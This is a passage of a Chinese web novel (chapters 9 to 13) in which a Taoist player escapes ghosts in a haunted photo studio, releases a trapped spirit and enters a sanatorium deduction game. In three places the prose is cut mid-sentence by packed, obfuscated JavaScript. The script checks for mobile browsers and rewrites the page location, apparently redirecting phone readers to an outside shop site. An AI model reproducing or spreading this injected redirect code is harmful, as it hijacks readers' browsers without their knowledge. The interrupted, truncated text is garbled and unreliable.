周德胜满脸惊恐,却好像失去了所有的力气,动弹不得,也说不出任何话。 晏星梧抓住周德胜的胳膊,用力想要把他拉开,但中山装男人力量大得出奇,他根本捍不动。 怎么可能! 只见被抱住的周德胜的身体慢慢和中山装男人融合,两人的身体诡异地融合成模糊的一团,然后渐渐变成了周德胜的身形,脸还是那张八分相似的脸。 “周德胜”弯腰捡起刚刚掉到地上的号码牌,轻轻擦了擦,重新挂在身上,坐到了一旁的椅子上。 零零二。 是原本的周德胜的牌子。 黄毛从茶几边弹起来,往后连退三步,一直退到墙根才停住。 他的等号牌死死攥在手里,攥得手指发抖,“这他妈到底是什么东西!” 晏星梧走到“周德胜”面前,居高临下地看着他:“你是谁?” “我叫周德胜。”“周德胜”抬头冲晏星梧咧嘴一笑,然后重新低下头,盯着地板。 【当前存活玩家:12人】 这时,他们刚踏入二楼时出现的那几个看不清脸的人的其中之一,一个穿蓝裙的身影向这里走了过来,停在了晏星梧的面前。 “我叫——” “你的号码牌是多少号?”晏星梧打断了她即将说出口的话。 蓝裙女人的嘴还张着,保持着即将说出那个名字的口型,顿了一下,又重新张口:“我叫晏——” “回答我,你是多少号?”晏星梧又问了一遍。 她低头看了一眼自己手里那块没有字的铜牌,然后抬起头,笑容还挂在脸上,但嘴角的弧度开始出现一种极其细微的抖动。 她没有回答。 晏星梧没有追问第三遍,他把自己的等号牌举到她面前。 “这是我的,零一三,你的呢?” 蓝裙女人往后退了半步,转身想要跑。 晏星梧没有给她机会,一手捏决,一个镇煞符直冲她天灵盖飞去。 蓝裙女人发出一声尖啸,她的身体边缘开始变得模糊,然后她趁着自己还没有完全消失快步跑到了挂照片的那面墙前面,起身一跳钻进了墙里。 墙上多出了一张相框,相框的照片上是一个面部惊恐身形却有些模糊的蓝裙女人。 这时,原本散落在大厅各处那些看不清面容的客人不再漫无目的地游荡,齐刷刷地转过脸——哪怕没有清晰的五官,所有玩家都能感觉到无数道冰冷的视线钉在了自己身上。 墙上的照片也一张张化作人形跳下来,拖着沉重的步伐向玩家们围剿。 “操!他们过来了!”黄毛第一个叫出声,反手从后腰抽出一把闪着寒光的匕首,朝着离他最近的人影劈了过去。 匕首穿过人影的身体,像砍进了一团粘稠的雾气,只激起一声尖锐的嘶鸣,人影非但没散,反而张开双臂朝着他的脸扑了过来,嘴里机械地重复着:“我叫郑子洋,你说对吗?” 黄毛浑身汗毛倒竖,死死闭紧嘴不敢应声,抬脚踹在人影胸口,借着反冲力滚到了沙发后面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499252|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 整个大厅瞬间炸了锅,玩家们纷纷掏出副本道具和武器,和围拢过来的人影缠斗在一起。 这些人影打不散也劈不烂,不断重复着那句问话,只要玩家稍有分神,脱口而出一句回应,立刻就会被人影扑上去融合。 不过三分钟,就有两名玩家没忍住骂出一句“滚”,话音未落,手里的等号牌瞬间碎裂,整个人被人影裹住,连惨叫都没发出来,就变成了大厅里又一个面无表情的空壳。 岳均生瞬间挡在晏星梧身前,土系异能全力催动,地面翻涌起半人高的土墙,将正面冲过来的三个人影死死挡在外面。 晏星梧指尖扣着三张镇煞符,符纸在掌心微微发烫,他一边躲避着人影的攻击,一边抽到空隙捏诀将符箓贴到人影身上。 缠斗间,大厅里已经一片狼藉。茶几被掀翻砸碎,沙发被撕得棉絮乱飞,墙面的相框成片掉落摔碎,连楼梯口的扶手都被其他玩家的异能轰断了半截,碎木屑和铜锈粉末混在一起,撒得满地都是。 就在又一波人影朝着玩家扑过来的瞬间,楼梯口传来一声冰冷的、带着怒意的呵斥: “我的客人们,你们都做了什么!” 所有的人影瞬间停下了动作,齐刷刷地朝着楼梯口躬身退去。 玩家们也停了手,浑身紧绷地看向楼梯口,老金站在那里,他单手举着一台更大的相机,脸上那副礼貌的笑容彻底消失了,两撇小胡子绷得笔直,眼神阴鸷。 老金的目光扫过满地狼藉的大厅,嘴角勾起一抹狠戾的笑:“不礼貌的客人,会得到惩罚。” “既然客人不想好好拍照,那不如,就永远留在我的照片里吧。” 咔嚓、咔嚓。 快门声毫无预兆地响起,刺眼的闪光灯瞬间照亮了整个二楼大厅。 离镜头最近的两名玩家根本来不及躲闪,被闪光灯正面照中,瞬间发出一声凄厉的惨叫。 他们的身体以肉眼可见的速度变得扁平,不过两秒,原地只剩下两件空荡荡的衣服,和两枚掉在地上的等号牌。 “走!” 晏星梧一把拽住岳均生的胳膊,另一只手甩出两张镇煞符,符纸燃着金光朝着老金飞过去,暂时阻止了他再次按下快门的动作。 老金被金光晃得闭了下眼,再睁眼时,晏星梧和岳均生已经翻身跃过破碎的栏杆,顺着楼梯朝着一楼狂奔而去。 “没有人能拒绝老金的相机。”老金冷笑一声,对着两人的背影再次按下快门。 闪光灯的光柱擦着两人的耳边扫过,身后的楼梯扶手瞬间被轰得粉碎,碎石木屑溅了两人一身。 岳均生催动异能,楼梯轰然塌陷,暂时挡住了老金的脚步。 两人一路冲到一楼大厅,身后的相机快门声、老金的怒吼声、人影的嘶鸣声紧追不舍,前门已经被浓黑的鬼气封死,根本无法打开,唯一的生路,只有前台后方那扇之前拖走鸭舌帽男人的暗门。 “没路了!只能进这里!”岳均生一脚踹开暗门,和晏星梧一起冲了进去,反手用土墙死死封住了门。 两人扶着墙大口喘着气,这才看清眼前的景象,暗门后根本不是他们预想的作案现场,而是一条狭长幽深的走廊。 走廊两侧是一扇扇紧闭的铁门,门上焊着小小的观察窗,空气里弥漫着刺鼻的消毒水味,还混着淡淡的胶片药水味。 晏星梧指尖扣着符箓,一步步朝着走廊尽头走去,地板上一滩滩不知名液体,每向前走一步,都能听到清晰的回声在放大。 他的天眼清晰地看到,整条走廊的鬼气全部汇聚在尽头的楼梯间里,浓得化不开。 两人走到走廊尽头,果然看到一段通向地下的水泥楼梯,扶手上布满深深的抓痕,台阶上留着早已干涸的暗褐色血迹。 而在楼梯的转角处,站着一个穿着病号服的女生虚影,她背对着两人,正机械地重复着抓挠的动作,嘴里念念有词。 10. 第 10 章 岳均生搓了搓手臂:“这地方怎么阴冷阴冷的。” “那边蹲着个厉鬼。”晏星梧朝墙角抬了抬下巴。 岳均生浑身一僵,顺着他的目光看过去……什么都没看到,但他相信晏星梧的眼睛,当即作出了防御的姿势,道:“真、真的吗?要开始打了吗?” 晏星梧摇头,抬脚朝墙角走去,走到离女鬼三步远的地方站定,蹲下身与女鬼视线平行:“女士,能听到我说话么?” “晏道长,您也太勇了点,离那么近真没问题吗?”岳均生弱弱开口。 女鬼没有回头,她的手还在墙面上抓挠,嘴里不停念叨着“还给我”“是我的”,整只鬼陷入自我循环里。 晏星梧又试图叫醒她,女鬼的动作没有半分停顿,周身的鬼气反而开始翻涌,楼梯拐角处的温度又下降了几分。 晏星梧看了她一会儿,站起身思考片刻,开始从背包里往外掏东西。 “怎么了,晏道长?厉鬼说了什么?”岳均生问。 “她现在不清醒,我要让她醒过来,或许能问到什么线索。”晏醒梧边掏边说。 “那要怎么叫醒她?”岳均生问。 “炼度。”晏星梧把东西全摆到面前,拉上了背包拉链。 香,朱砂,符纸,天师令牌——之前以防万一,他随岳均生去看地皮之前就带上了这些东西,当下刚好派上用场。 “条件简陋,祖师爷祖师奶勿怪。” 晏星梧拈出三支香,可此处没有打火机。 他正皱眉,心念忽然一动,脑海里闪过清晰的念头:离为南方火。他举起手指,食指指尖无声地窜起一缕豆大的火苗。 道,可道。 这是,我的异能? 他不知道,火苗窜出道那一瞬,他的丹田里一团红色的光也跟着显形,缓缓转动起来,像个小太阳。 与此同时,混乱街区的最深处,老居民楼顶层一间浓雾围绕的公寓里,一双沉睡的双眼蓦地睁开,金色的竖瞳流转间闪过一抹亮色符文,安静地注视着照相馆的方向,若有所思…… 岳均生看着晏星梧手里突然出现的火苗瞪大了双眼,识趣地没有出声。 香被点燃,一线青烟笔直上升,晏星梧将三支香插进随身携带的零食小面包上,充当临时的香炉。 他以指为笔,蘸取朱砂在符纸上画了几张符箓。 “有吃的吗?”画毕,晏星梧扭头看向岳均生。 “没带。”岳均生一脸懵圈。 “唔……对了。”晏星梧抿了抿嘴,又打开背包在夹层里拿出一包小熊软糖,“嗯,这下可以开始了。” 他以小面包香炉为中心,用指尖火苗在地面虚画一圈,边画边低声念道:“千千荡秽,凶恶不存。万万魔王,保命护身。玉清荡秽天尊。”(注1,见 作者有话说) 岳均生只觉得那股阴冷的气息忽然被隔绝在外,方寸之间竟有了几分暖意。 晏星梧面朝东方,三叩上香,牒报城隍,闭目存想片刻,开口道:“一炷道德香,愿超三境路。天尊大慈悲,宣扬秘密咒。极拔此亡魂,法桥当早渡。惟愿九幽魂,同离三途苦。”(注1) 他用指尖火焰分别点燃水符跟火符,脑海中存想北方水与南方火,然后将水符灰烬投入那个矿泉水瓶里,瓶子里的水轻轻一震,再拧开时,隐约有股清冽的气息在小小的空间里弥漫开来。 之后,他将火符燃起的火焰引入左手掌心,与右手的水珠相对,一水一火,中间的空档正对墙角的女鬼。 “要召她过来了,你退后一点。”晏星梧对岳均生说。 他拿起令牌,面向女鬼,诵道:“稽首青玄主,太乙救苦尊。九头狮上坐,设法度孤魂。”(注1) 令牌往前一指,女鬼浑身像是被一根无形的线牵住了,她的双手不由自主离开枪毙,身体缓缓转了过来。 岳均生他后背冷汗涔涔,他终于看见空气里凭空浮现出一个半透明的女人轮廓,身穿病号服,长发披散,一双眼睛瞪得极大。 女鬼被招摄到水和火之间。 “天澄气清,五色高明。日月吐辉,濯炼身形。”(注1) 晏星梧一字一句念出,深吸一口气,将左掌的水珠弹向女鬼,水珠穿过鬼气,女鬼浑身颤动,发出一阵阵的尖啸。 他右手往前一送,掌心的火焰呼一下扑向女鬼,火焰贴着她周身的鬼气燃烧,水火炼化下,女鬼的尖啸声渐渐变成小声哭泣。 他手持令牌念诵咒文,在女鬼头上虚点了九下。 在女鬼的鬼气彻底消散后,晏醒悟收了功,擦了擦额头上的细汗,拿起那包小熊软糖在余气上绕了一圈,摆在女鬼面前:“请吃。” 女鬼脸上的惨白褪去了大半,眼眶里黑洞似的眼睛重新聚焦,她坐在地上怕怕地看着晏星梧,想动又不敢动。 晏星梧长长呼出一口气,失笑道:“吃吧吃吧,就是祭给你吃的。” 女鬼蹲在墙角,盯着面前那包小熊软糖看了好一会儿。 她的手指动了动,又没敢伸出去。 在沙漠里饥渴太久的人忽然看到一座绿洲,下意识觉得这会不会是假的。 晏星梧也不催,就盘腿坐在对面,把那包软糖撕开,往她面前推了推。 “真的,就是给你的。” 女鬼抬起眼睛飞快看了他一眼,一颗小熊软糖被她捏起来又放在掌心,她低头看了很久,吃进了嘴里。 软软的,甜甜的。 一边嚼一边眼泪就掉了下来。 “呜呜呜……谢谢、谢谢你。” 她一边哭一边又抓了一把塞进嘴里,腮帮子嚼得鼓起来。 岳均生站在晏星梧身后,看着这一幕,喉结动了动,把脸别开了。 晏星梧没说话,安静地等她吃了大半包,才开口:“现在我们可以交流一下吗?你叫什么名字?” 女鬼捏着软糖的手指顿了一下,她抬起头,回忆了一会儿,说:“我叫林暮回。” “林暮回,很好听的名字。”晏星梧念了一遍,“你怎么会在这里?” 林暮回嘴唇动了几次,喉咙里滚过几个音节,张张嘴却又说不出话,好一会儿才道:“不、不让说。” 晏星梧了然,显然是游戏这个狗登又在作妖。 【请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等、等一下!”身后,林暮回突然大声叫住了他们。 “怎么了?”晏星梧回头问道。 林暮回张了张嘴,脸上的肌肉因用力而微微扭曲,在跟空气中无形的规则较劲。 “去…金……拿……钥匙……”她艰难地吐出几个字,然后浑身仿若脱力一般瘫坐在地上。 晏星梧思索片刻,向林暮回点头道:“那道你的背包,需要钥匙对吗?钥匙在老金手里?好,我明白了,谢谢你。” 游戏不让她说太多,无非就是想要误导他们,等过去之后发现没有钥匙打不开门,还得再回到照相馆找老金,可到了那个时候,他们就失去了先机,场面会更加危险。 不愧是你,狗登。 “我用异能感受过了,暗门旁边有一个小电梯,我们可以顺着电梯上到三楼,躲开二楼的老金,去三楼探查探查他的办公室。”岳均生说道。 晏星梧点点头说好,然后从口袋里摸出一张符纸,折成小三角,放在林暮回脚边,道:“这是定神符,能暂时稳住你的魂魄,你把它收好。” 林暮回低头看着那张符纸,嘴唇动了动,没说出话来,只是用力点了一下头。 两人沿着走廊朝进来时的俺们处走去。 11. 第 11 章 两人顺着走廊侧壁的消防梯往上爬,小心翼翼地控制着动作幅度,几乎没有发出半分声响。 二楼的楼板缝隙还能传来老金的嘶吼声和怒骂声,显然还在为两人的逃脱暴怒。 三楼的走廊空荡荡的,空气里弥漫着一股甜得发腻的味道。 尽头的办公室挂着“主理人”道牌子,想来这就是老金的办公室了。 门没锁,晏星梧推开门,快速扫过整个房间,墙上挂满了黑白照片,全是年轻男女的登记照,他们刚刚拍的的还没有被挂在这里。 晏星梧的目光从那些照片上一一扫过,忽然停在了最右侧偏上的角落里。 那是一张年轻女孩的照片,照片上的她露出半截红裙,眼神明亮,对着镜头笑得自信又张扬。 林暮回。 这么明媚的女孩儿,原本也该过着前途光明万事可期的一生……啧。 晏星梧犹豫了一下,抬手想要摘掉林暮回的照片,装进背包里带回去。 相框离开墙面的瞬间,他看见照片后面竟然挂着一把银色的钥匙,钥匙被一根细铁钉挂在墙上,金属表面泛着一层冷光。 钥匙柄上刻着极小的“B217”。 晏星梧伸手捏住那根铁钉,往外一拔,钉子离开墙面的瞬间,整间办公室猛地一震。 墙上的几十张照片同时开始抖动,相框磕在墙壁上发出密集的咔咔声。 那些照片里的人脸嘴唇同时张开,发出了一声声重叠的的尖叫。 晏星梧被这声音冲得眼前一黑,耳膜刺痛,整个人晃了一下才站稳。 走廊外的楼梯远处传来一声老金的怒吼,皮鞋踩奔跑在地板上的“哒哒哒”快速传来,脚步声直奔他们的方向,踩得楼板微微发颤。 晏星梧快速把银钥匙攥在掌心,将办公室的门反锁上。 “窗户!” 岳均生已经退到了窗户口,半边身子探出窗外,一只手朝晏星梧伸过来。 晏星梧三步并作两步,快速向他冲过去。 外面的走廊里,老金已经转过拐角来到办公室门口,那台相机端在手里,镜头正对着他们的方向。 闪光灯亮起的前一秒,晏星梧一把抓住岳均生的手,两人同时翻出了窗外。 两人顺着消防梯滑到地面,落地时带起周边的碎石也跟着震动,楼上的窗户里传来老金气急败坏的吼叫,紧接着是重物砸在墙上的闷响。 “他暂时不会追出来。”岳均生靠着墙壁,额头上全是汗,呼吸还没喘匀,“照相馆是他的地盘,这种boss一般情况下不会离开自己的地盘,否则他的力量会大打折扣。” 晏星梧摊开手掌,银钥匙安静地躺在掌心。 “走吧。”他把钥匙收好,抬头看向巷子外,“趁他还没反应过来。” 两人沿着巷子往外走,拐过一道弯,来时的石子路又出现在脚下,空气中的浓雾比进来的时候更重了。 沿路走了大约三百米,雾气逐渐变得稀薄,一栋四层老居民楼的轮廓从白茫茫中浮现出来。 照相馆隔壁的二号筒子楼,就是这里了。 楼前的铁皮牌子锈得看不出原样,依稀能辨认出“2号楼”几个字,整栋楼仅有一个单元,单元门虚掩着,门缝里透出潮湿的霉味。 晏星梧推开门,混着消毒水味和某种说不清道不明的甜腻气息扑面而来,和照相馆三楼的味道如出一辙。 楼道很长,日光灯管坏了大半,剩下的几根发出嗡嗡滋滋的电流声,光线昏暗且不停闪烁。 墙壁上贴着褪了色的温馨提示,字迹被霉菌洇得模糊不清,墙角堆着几辆落满灰的自行车,车筐里还插着已经碎成片片的旧报纸。 一切看起来就是一栋普通又破旧的老居民楼。 可第六感告诉晏星梧这不对。 他的目光落在墙角那几辆落满灰的自行车上,他盯着那辆旧自行车看了三秒,然后往前走了几步,楼道拐角处,又出现了一辆自行车。 同样的款式,同样的锈迹,车筐里插着同样一份旧报纸,连生锈的缺口位置都一模一样。 一模一样的的复制粘贴,是幻象。 岳均生见他停下,压低声音问:“怎么了?” 晏星梧没有回答,他站在原地,左手掐子午诀,右手食指中指并拢成剑指,双目微阖。 丹田中的光团无声转动,此时他已经能稍稍感知到他的异能。 他闭气,嘴唇无声开启,心中默诵咒文。 “九天有命,上奉玉清,促召千真,俱会帝庭……上威六天,下摄魔灵,既威既摄,万凶灭形……九天告命,万神敬听。”(注1,见 作者有话说) 晏星梧念完最后一句,猛然睁开眼,剑指向前一点。 楼道里所有日光灯管同时炸裂,碎片从天花板上坠落,在半空中就变成了灰烬,簌簌飘落。 那些贴着温馨提示的墙面,墙角堆着的自行车,也尽数成灰。 整条楼道都在一层层卷曲,化为乌有。 灰尘散尽之后,真正的筒子楼内部景象显露出来。 空气里的消毒水味变得浓烈刺鼻,甜腻的气息非但没有消散,反而更重了。 而楼道尽头,那扇铁门还在,但铁门上方的绿色牌子不见了,取而代之的是一块发着白光的灯箱,上面印着几个褪色的红字——“钱金金疗养中心”。 岳均生看着眼前骤然变换的景象,喉结滚动了一下:“牛,牛X啊!” “我们从踏进单元门的那一刻起,就已经入了幻象。”晏星梧收起剑指,指尖还在微微发热,“有人不想让外来者看到它真正的样子。” 晏星梧垂眸低语,“可是我在想,这个幻象,是在他们被拉进游戏之前就存在的吗?” 他的目光落在楼道尽头的那扇铁门上。 “都听晏道长的。” 岳均生听着晏星梧的话只恨自己为什么平时没有多读两本书,不然哪像现在这样,只有在一旁阿巴阿巴却帮不上忙的份儿。 “不管怎么样,先前进吧,现在幻象破了,正主应该能察觉到,我们抓紧时间。”晏星梧道。 就在二人踏入铁门的那一刻—— 【欢迎来到钱金金疗养中心。】 【为了您的康复,请严格遵守以下规定】 【第一,所有病人必须在15分钟内完成入院登记,超时者将视为拒绝治疗,由护工强制执行收押。】 【第二,听到三次以上的铃铛声,请立刻闭上眼睛,接下来无论听到什么声音都不要睁开。】 【第三,不该进的不要进,强行进入非对应房间将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499254|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去对应身份。】 【第四,药必须当着护士的面吃下去。】 【第五,记住:你不是病人。你只是暂时住在这里。】 铁门在两人身后“哐当”自动锁死,原本空空多疗养院的一楼走廊突然变得人来人往。 穿着蓝白条纹病号服的人面无表情地从各个病房里走出来,两个穿白大褂的医生从前台走过,护士推着车,车轮在地面发出滚动的声响。 一个身穿白大褂的胖男人从前台拿起本子和笔,“啪”的一声扔在两人面前,神色不耐道:“登记。” 晏星梧接过本子,低头扫了一眼,身份一栏需要勾选“病人”或“探视者”。 规则第一条,15分钟内必须完成入院登记,可第五条又说,他们不是病人只是暂住…… “先生,探视者可以留宿照顾病人吗?”他问白大褂胖男人。 “不可以,探视者在疗养院不能超过三小时,超时的话,”胖男人瞥他一眼,扯出一个似笑非笑的表情,“会有人送他出去的。动作快点!” 晏星梧拿起笔,在病人一栏写下了自己的名字,然后把岳均生登记为探视者。 探视者只有三小时的停留时间,行动上会有限制,但探视者比病人身份更自由,如果他这边有什么问题,岳均生刚好可以接应。 “晏道……”岳均生压低声音想要说什么,被晏星梧拦下。 “登记好了,先生。” 晏星梧将本子递给胖男人,男人瞟了一眼,目光危险地在他二人身上游移片刻,轻哼一声,扔给他们两个不同字样的手环和一本入院手册:“病人去那边领病号服,探视者戴好凭证,注意时间。” 胖男人丢下这句话就转身回了前台,再也没看他们一眼。 晏星梧低头看了一眼自己的手环,是蓝色的,岳均生的是黄色的。 翻开入院手册,第一页是疗养院的楼层分布图。 一层是接待大厅、医生办公室、药房、护士站、普通病房,地下一层是重症病房和观察室,地下二层是档案室、后勤仓库、特殊病房。 B217。 地下二层。 晏星梧的目光在分布图上停了一瞬,地下二层有三类房间,但分布图上没有标注任何房间的编号规则。 B217究竟在哪个区域,需要下去之后才能确定。 另外,分布图上有一条标注引起了他的注意,地下二层的分布图顶端,画着一个红色的感叹号,标注着一行红字,“非病人禁止入内”。 也就是说,必须保住病人的身份,才能下到地下二层。 他合上手册,将领到的病号服套在身上。 这时,疗养院的整个空间里突然响起一声铃声。 叮铃铃铃—— 走廊上,原本走来走去的病人们同时停住了脚步,动作整齐得不像活人,他们转身各自走向了走廊两侧的病房。 前台那个胖男人拿起桌上的茶杯,头也不回地走进了医生办公室。 不到一分钟,刚才还人来人往的走廊又变得空空荡荡。 岳均生的声音压得极低:“什么情况?” 晏星梧的目光扫过走廊,所有病人都回到了病房里,门是开着的,他看到那些病人回去后一动不动地坐在床上,像在等待什么。 13. 第 13 章 主持人将七张牌背朝上的卡牌依次推到每个人面前。 晏星梧低头看着自己面前那张牌。 牌面上画着一个穿病号服的小人儿,头顶画着一个大大的红色问号,最上方印着两个字,【病人】。 下方还有一行极小的字:【你的记忆因药物影响暂时缺失,身份详情将在剧情回溯阶段解锁。】 病人。 晏星梧把牌扣回桌面,暗自咬了下后槽牙。 看起来像是那个特殊的身份。 在这场游戏进行到回溯的节点之前,这张牌就相当于一张废纸。 眼前还有隐隐约约的眩晕感,他闭了一下眼,让丹田里的光团转得快一些,他现在需要清醒,比任何时候都需要清醒。 “所有人确认身份完毕。”主持人目光扫过全场,“在正式开始之前,我将宣布本局游戏的奖励与惩罚规则。” “游戏结束时,获胜方会获得以下奖励:第一,按人数平分3000金币。第二,疗养院身体机能提升卡每人一张。” 【滴——温馨提示,金币可一比一兑换为游戏积分】 双胞胎之中戴眼镜的的玩家挑了下眉,平分3000积分,那可真是不小的数目。 “惩罚规则。”主持人脸上的笑容淡了一分,“游戏失败的一方,无论存活与否,将成为钱金金疗养中心的永久病人。” 空气好像被压缩了一瞬。 卷发男人把烟从左边嘴角换到右边嘴角,抖腿的动作比之前慢了半拍。 “规则宣读完毕。”主持人双手交叠,“首轮夜班操作将在第一轮发言与投票结束后进行。现在,进入第一轮日班,按座位顺序,依次发言,每人一分钟。” 他看向坐在桌子末端左手边第一位的卷发男人。 “那么,就从你开始。” 卷发男人把烟从左边嘴角换到右边嘴角,挺起了后背坐直,道:“自我介绍一下吧,我叫陆天骄。” 他把烟从嘴里拿下来,夹在指间,朝桌面上的身份牌努了努嘴,“第一个发言着实没什么可说的,我呢,是好人阵营,具体什么职业,我还不能说。但我可以告诉你们,我这张牌上画了个白大褂。” 他重新靠回椅背,扫视了一眼全场的其他玩家:“发言一分钟是吧?那我就说一分钟。我抽到牌之后,观察了一下你们的表情。” 他的目光从病号服女人扫到微胖女孩儿脸上,最后落在红卫衣男人身上,“三号,你抽牌之后把牌拿得很近,看了很久,咱就是说,一个身份牌而已,几个字,需要看那么久?” 他笑了一声,把烟从嘴里拿下来,在桌沿上磕了磕,道:“我说完了。” 主持人看向病号服女人。 “二号位。” 病号服女人的手还攥着桌沿,她开口之前先吸了一口气,道:“我叫周岚,是病人牌之一。” 她的目光落在自己面前扣着的身份牌上,没有看任何人,“那我也说说我看到的,我看到六号抽到牌之后手在抖,我不是说她一定是凶犯,但她的手确实在发抖。” 她把脸前的头发别到耳后,“我也说完了。” 主持人看向红卫衣男人。 “三号位。” 红卫衣男人低着头,帽子遮住大半张脸,安静了几秒,他才开口:“我叫方赛,是老玩家。” “我抽到牌之后看了很久,是因为我……由于之前的一些后遗症,我有时候,看东西会模糊,我得把牌拿近一点,一个字一个字的看,才能看清楚。”他把那只一直摸膝盖的手抬起来,摸着自己的角色牌,“我抽到的是病人阵营,牌上画了个穿病号服的。嗯……就这些了,发言完毕。” 主持人看向双胞胎之中戴眼镜的男人。 “四号位。” 眼睛男人没有立刻开口,他将目光从自己的身份牌上抬起来,缓缓扫过在场所有人。 “我叫沈临玉。”他说,“抽到牌之后,我花了大约三秒钟确认牌面信息。” 他的笔尖在桌面上轻轻点了一下,看向一号。 “对于一号我暂时没什么可说的,他看牌的速度很快,可能对自己的身份非常满意,也可能他根本不在乎抽到什么牌,我更倾向于前者。”他顿了顿,继续说,“二号看起来很紧绷,但我注意到她在进入这个院子之后精神一直没有放松过,这个也暂时不论。三号,他说眼睛看不清东西,我对此持怀疑态度,因为刚刚七号进来时他打量七号的样子完全不像是视力障碍。至于我的身份,我是医护,完毕。” 三号方赛张最想要反驳什么,主持人眼里带着警告看向他,让他又不甘心地闭上了嘴。 主持人看向身穿浅绿色毛衣的双胞胎之一。 “好,我是五号,柏临深。”他向众人浅浅笑笑,温和的嗓音不紧不慢地陈述,“刚刚我哥说得很详细,那我就再补充几点,我看到六号看牌之后,她的肩膀线条绷紧了几秒钟,然后才慢慢放松,也许是她抽到的身份让她紧张了,但她用了某种方式让自己平静下来。至于七号,七号在一进门的时候我就发现他整个人的状态并不是很好,或许一会儿他可以为我们解释一下原因。我的话,我只能说,我是好人,但身份和四号不同,就这样。” 六号位是那个微胖的年轻女孩儿,她十指紧握在一起,磕磕绊绊地发言:“我,我叫李悦,我不知道要怎么玩,我莫名其妙就被拽进来了,这游戏是什么东西,我不知道,不知道……我不是凶手!” 主持人看向最后一个位置,七号位。 “我叫晏星梧。”清润的嗓音缓缓道来,残余的一点眩晕感让他的语速比平时稍慢,但吐字很清晰,他说,“五号观察得很仔细,我其实是105号病房的病人,来到牌桌之前在进行其他任务环节,被喂了一次药,然后莫名其妙被带到了这里……说实在的,我现在依然有点晕,状态不好,见谅。” 他轻咳了一声,又说:“刚刚,没顾得上观察诸位的反应,所以我的发言仅围绕我自己,我是好人,嗯。” 主持人等他的话音落下,点点头,道:“第一轮日班发言结束,各位,可以投票了。” “所有人,三、二、一,请投票。” 五票弃权,只有两只手真正伸了出来。 一号陆天骄投了三号方赛,三号方赛投了四号沈临玉。 主持人看了一眼票型:“弃票人数过多,本轮无人淘汰,直接进入回溯阶段。” 陆天骄发出一声短促的轻笑:“这么多弃票?”他的目光从方赛扫到周岚,最后落在沈临玉脸上,“行,有意思,你们是真能沉得住气。” 沈临玉没有看他,他把玩着手里的笔,和身边的柏临深对视一眼,不置可否。 主持人继续道:“所有玩家将进入全息剧情体验,以第一人称视角经历金小元医生死亡当日发生在3号病区的全部事件。剧情回溯期间,各位无法交流,无法发动技能,仅能作为亲历者观察和感受。回溯结束后,你们会返回牌桌,继续第二轮夜班操作。” 院子上方的天空一点一点蔓延上暮色,天光的面积越来越小,直到渐渐消失。 青砖地面的缝隙里涌出灰白色的雾,雾气上升,逐渐吞没了所有人。 回溯开始。 晏星梧睁开眼。 他看到自己站在一条走廊里,白大褂,听诊器,手里拿着一本病历夹,胸前的牌子上清晰地标明“主治医师晏星梧”。 嗯? 他怎么会是主治医师? 他抽出病历夹翻开,第一页贴着值班表,日期栏里盖着今天的红戳,下面写着—— 三号病区。 今日值班医生:金小元。 今日值班护士:柏临深。 柏临深。五号。 原来他是护士长。 晏星梧合上病历夹,抬起头。 脚步声从他身后传来。 一个穿着护工制服的卷发男人从走廊另一头走过来,双手插在裤兜里。 他经过晏星梧身边时偏过头看了他一眼,脚步没停,只丢下一句:“晏医生,今天的白班不是你值班吧?你不是晚上吗?” 是一号,陆天骄。 晏星梧听到自己无奈的声音从嘴里发出来:“替金医生顶一班,他家里有事。” 卷毛护工点了点头,调侃了一句“辛苦了晏医生,谁让咱们不是关系户呢”,脚步没停,往走廊尽头走去了。 他的背影在闪烁的日光灯下一明一暗,走到107号病房门口时停了一下,透过观察窗往里看了一眼,然后继续往前走,消失在走廊拐角。 下午,午休结束后,晏星梧准备查房,走廊另一头传来了推车的轮子声,一个穿着护士制服的男人推着器械车从拐角转出来,车上码着形形色色的药物和摆放整齐的输液瓶。 他经过晏星梧身边时停了下来。 “晏医生。”柏临深向晏星梧无奈笑笑,说,“107号房的病人今天下午又不肯吃药,护工去送药的时候他把纸杯打翻了,药片撒了一地,听说护工还挨了他一拳。” 晏星梧低头看了眼病历夹,107号房,患者是方赛,入院日期三周前,诊断栏写着间歇性狂躁发作。 病历本上的备注密密麻麻,拒药三次,言语攻击护工两次,上周四在活动室与另一名病人发生肢体冲突,被强制约束隔离一天。 “今天下午的事是什么时候?”他问。 “两点半多。”柏临深的手指在推车把手上轻轻敲了敲,“陆护工去送的药,回来的时候嘴角青了一块。我给他拿了个冰袋,他没要,说没事。” 晏星梧点点头,柏临深也继续推着车走了。 下午四点十七分,107病房传来一声巨响,伴随着玻璃杯碎裂的脆响和男人的怒骂。 方赛打翻了护工陆天骄递来的药杯,药片撒了一地,他挥起拳头结结实实砸在了陆天骄的嘴角。 陆天骄踉跄着后退两步,抹了把嘴角的血渍,没还手,只是冷冷地看了病房里的方赛一眼,转身回了护士站。 三分钟后,护士长柏临深拿着冰袋走到陆天骄身边,低声说了句什么,把冰袋递了过去。 陆天骄摆了摆手没接,靠在墙上扯了扯领口,眼神阴鸷地看向107病房的方向。 下午五点整,金小元来到了医院。 